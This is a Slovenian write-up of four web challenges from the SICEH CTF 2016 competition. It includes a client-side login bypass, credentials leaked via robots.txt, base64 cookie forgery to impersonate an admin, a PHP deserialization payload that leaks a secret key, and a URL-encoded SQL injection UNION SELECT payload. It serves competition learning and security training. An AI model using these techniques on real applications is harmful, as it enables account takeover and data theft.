Ta objava vsebuje primere rešitev nalog iz kategorije splet na tekmovanju SICEH CTF 2016, ki je potekalo v okviru konference Infosek 2016.

1. Prijava naslednje generacije

Spletna aplikacija nam omogoča vpis gesla in nam ob napačnem geslu prikaže sporočilo "Napačno geslo!". Če pogledamo izvorno kodo, lahko hitro najdemo del kode, ki preveri geslo:

var KguMEiLs = "jHSLVY0N5iuIkXDd2sXqhUxBDOwwHVXzsuXKzZpnHMsNCe3D498Ir8KlALpQxxWy";
var gdjCvKhe = "vGuI2IaKlICBWUYDl3eutP8mSohNjxR16OwF1WHth68evbREAbCMWNutkLNnwwf0";
var pass = document.forms["login"]["pass"]["value"];
if (pass == PIZOfNmg(gdjCvKhe)) {
    window.location = PIZOfNmg(KguMEiLs);
}
else {
    alert("Napačno geslo!");
}         

Ob pravilnem geslu bi bili torej preusmerjeni na naslov PIZOfNmg(KguMEiLs). Ta naslov lahko z uporabo JavaScript-a obiščemo tudi sami:

> var KguMEiLs = "jHSLVY0N5iuIkXDd2sXqhUxBDOwwHVXzsuXKzZpnHMsNCe3D498Ir8KlALpQxxWy"
> window.location = PIZOfNmg(KguMEiLs)

Dobili smo zastavico: ISCTF{t4_5tr4n_j3_v4rn4}!

2. Jaz sem admin

Spletna aplikacija nam omogoča prijavo, vendar ne poznamo uporabniškega imena in gesla. Če pogledamo datoteko robots.txt, najdemo naslednje naslove:

Disallow: 2014_demo_prijavni_podatki.txt
Disallow: 2015_demo_prijavni_podatki.txt
Disallow: 2016_demo_prijavni_podatki.txt

V datoteki 2016_demo_prijavni_podatki.txt med drugim najdemo prijavne podatke za uporabnika Test0:

...
+-------+--------------------------+
| ID | IME | GESLO |
+-------+--------------------------+
...
+------------+---------------------+
| 3 | Test0 | rQJRhyjxA4XIz6ETpL0 |
+------------+---------------------+
...

Ko se prijavimo s temi prijavnimi podatki, vidimo osebno sporočila uporabnika Test0. Ob prijavi smo prejeli piškot w2safeid z vsebino dXNlcl8z. Če vrednost base64 dekodiramo, dobimo vrednost user_3. S spreminjanjem vrednosti 3 se lahko prijavimo v uporabnika s poljubno zaporedno številko. Če base64 kodiramo vrednost user_0 in zamenjamo vrednost piškotka s to vrednostjo (dXNlcl8w), se lahko prijavimo v uporabnika z zaporedno številko 0, ki je Admin in dobimo zastavico: ISCTF{zrn0_n4_zrn0_p1sk0t}!

3. Sporočila v oblaku

Aplikacija nam omogoča shranjevanje sporočil, ogledamo pa si lahko tudi izvorno kodo aplikacije. Opazimo, da so sporočila shranjena v piškotku sfmsgs v obliki base64 kodiranega zgoščenega serializiranega objekta:

public function saveMsgs () {
    $msgs = $this->msgs;
    $msgs = serialize($msgs);
    $msgs = gzcompress($msgs, -1, ZLIB_ENCODING_DEFLATE);
    $msgs = base64_encode($msgs);
    setcookie("sfmsgs", $msgs);
}

Ker lahko spreminjamo vrednost piškotka, lahko aplikacijo pripravimo do deserializacije poljubnega objekta. To nam omogoča, da izkoristimo čarobne metode razreda debugClass:

class debugClass {
    public $class = 'user';
    public $vars = array('objsum');

    function __destruct () {
        $this->debug();
    }

    public function addDebugVariable ($name) {
        array_push($this->vars, $name);
    }

    public function debug () {
        $inst = new $this->class;
        foreach ($this->vars as $var) {
            echo $var . ": " . $inst->$var;
        }
    }
}

Razred nam omogoča, da ustvarimo instanco poljubnega objekta in prikažemo poljubne spremenljivke te instance. To lahko izkoristimo za prikaz spremenljivke $secretkey objekta razreda admin. Piškot, ki je za to potreben, lahko izračunamo s uporabo PHP-ja:

class debugClass {
    public $class = "admin";
    public $vars = array("secretkey");
}

$msgs = array(array('title' => '', 'content' => new debugClass()));
$msgs = serialize($msgs);
$msgs = gzcompress($msgs, -1, ZLIB_ENCODING_DEFLATE);
$msgs = base64_encode($msgs);
$msgs = urlencode($msgs);
echo $msgs;

Vrednost, ki smo jo dobili z zgornjo kodo, shranimo v piškot sfmsgs in dobimo zastavico: ISCTF{tr4g1c_m4g1c}!

4. Balončki

Spletna aplikacija je igra, pri kateri klikamo balončke. Kadar dosežemo najboljši rezultat, dobimo zastavico, kriptirano z naključnim ključem, ki je ne moremo izkoristiti. Aplikacija dvakrat pošilja in prejemo podatke z uporabo AJAX: ob izbiri težavnosti ter ob doseganju najboljšega rezultata. Poizvedba ob izbiri težavnosti omogoča manipulacijo SQL poizvedbe, vendar obstajajo nekatere omejitve, ki otežujejo enumeracijo podatkovne baze. JavaScript koda, ki jo uporablja aplikacija je nekoliko obfuskirana in zapakirana, vendar lahko z uporabo JavaScript-a hitro ugotovimo, katere spremenljivke in funkcije definira:

> for (v in window) {console.log(v + ": " + window[v]);}
...
dbgtbl: function dbgtbl(a){gr("dbg",a,console.log)}
...
gr: function gr(a,b,c){var d=new XMLHttpRequest;d.onreadystatechange=function(){4==this.readyState&&200==this.status&&c(this.responseText)},d.open("GET","?"+a+"="+b,!0),d.send()}
...

Najdemo funkcijo dbgtbl ki uporabi funkcijo gr za pošiljanje AJAX poizvedbe s parametrom dbg. S preizkušanjem lahko ugotovimo, da lahko (verjetno zaradi uporabe SQL operatorja LIKE) z uporabo parametra % pridobimo stolpce vseh tabel:

> dbgtbl("%")
--- Table check passed, got following columns ---
difficulty: id
difficulty: name
difficulty: factor
flg: id
flg: name
flg: val

Sedaj lahko uporabimo ranljivost pri izbiri težavnosti, da dobimo vnose iz poljubnih stolpcev poljubnih tabel, npr. z uporabo SQL ukazov UNION SELECT. Primer takega exploita je ' UNION SELECT val FROM flg ;-- . Kodiramo ga za uporabo v URL-ju in ga pošljemo v parametru d, ki se uporablja za izbiro težavnosti: ?d=%27%20UNION%20SELECT%20val%20FROM%20flg%20;--%20. Dobili smo zastavico: ISCTF{kj3_j3_b0bby_t4bl3s}!